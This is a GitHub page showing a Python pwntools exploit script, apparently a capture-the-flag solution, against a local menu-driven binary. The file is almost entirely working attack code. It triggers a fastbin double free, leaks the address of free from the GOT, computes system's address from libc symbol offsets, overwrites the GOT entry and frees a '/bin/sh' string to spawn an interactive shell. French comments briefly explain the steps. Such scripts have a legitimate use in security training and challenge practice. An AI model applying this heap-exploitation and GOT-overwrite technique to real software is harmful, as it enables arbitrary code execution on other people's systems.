-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathdefi3-exploit.py
79 lines (47 loc) · 1.7 KB
/
defi3-exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# coding: utf-8
from pwn import *
import subprocess
from time import sleep
def waitForAction():
prog.recvuntil("-> 6) sortie")
def createElement(name="whatever", Id="whatever"):
waitForAction()
prog.send("1\n"+name+"\n"+Id+"\n")
def freeName(index):
waitForAction()
prog.send("3\n"+str(index)+"\n2\n")
def freeId(index):
waitForAction()
prog.send("3\n"+str(index)+"\n1\n")
def affichage():
waitForAction()
prog.send("2\n")
prog.recvuntil("~~~~~~~~~~~~~\n~~ élément ~~\n~~~~~~~~~~~~~\n")
return prog.recvuntil("Que voulez-vous faire ?\n")
def rename(index, name):
waitForAction()
prog.send("4\n"+str(index)+"\n"+name+"\n")
libc = ELF(process("ls /lib/x86_64-linux-gnu/libc-*.so", shell=True).recvall().strip())
offset = libc.symbols['__libc_system'] - libc.symbols['free']
print ("[*] offset : %x" % offset)
prog = process(["./prog.bin", "15"])
e = ELF("prog.bin")
# vulnérabilité double free sur les fastbin
createElement() # malloc *3
createElement() # malloc *3
freeName(0) # free 2eme chunk
freeId(0) # free 3eme chunk
freeName(0) # free 2eme chunk encore
# on rajoute un "\x01" devant qui sera remplacé par \x00 par le programme
# sinon une partie de l'addresse est écrasée par le null byte
e.got['free'] += 0x1000000
createElement(p64(e.got['free']), p64(e.got['free'])) # malloc *3 le nom et le pointeur vers l'élément devraient être identiques
res = affichage().split("\n")
free = u64(res[6].split(":")[1][1:]+"\x00"*2)
system = free + offset
print ("free : %x; system at %x" % (free, system))
rename(1, "/bin/sh")
rename(2, p64(system).strip("\x00")) # on rajoute un 1 devant pour la même raison que précédement
freeName(1)
prog.interactive()
prog.close()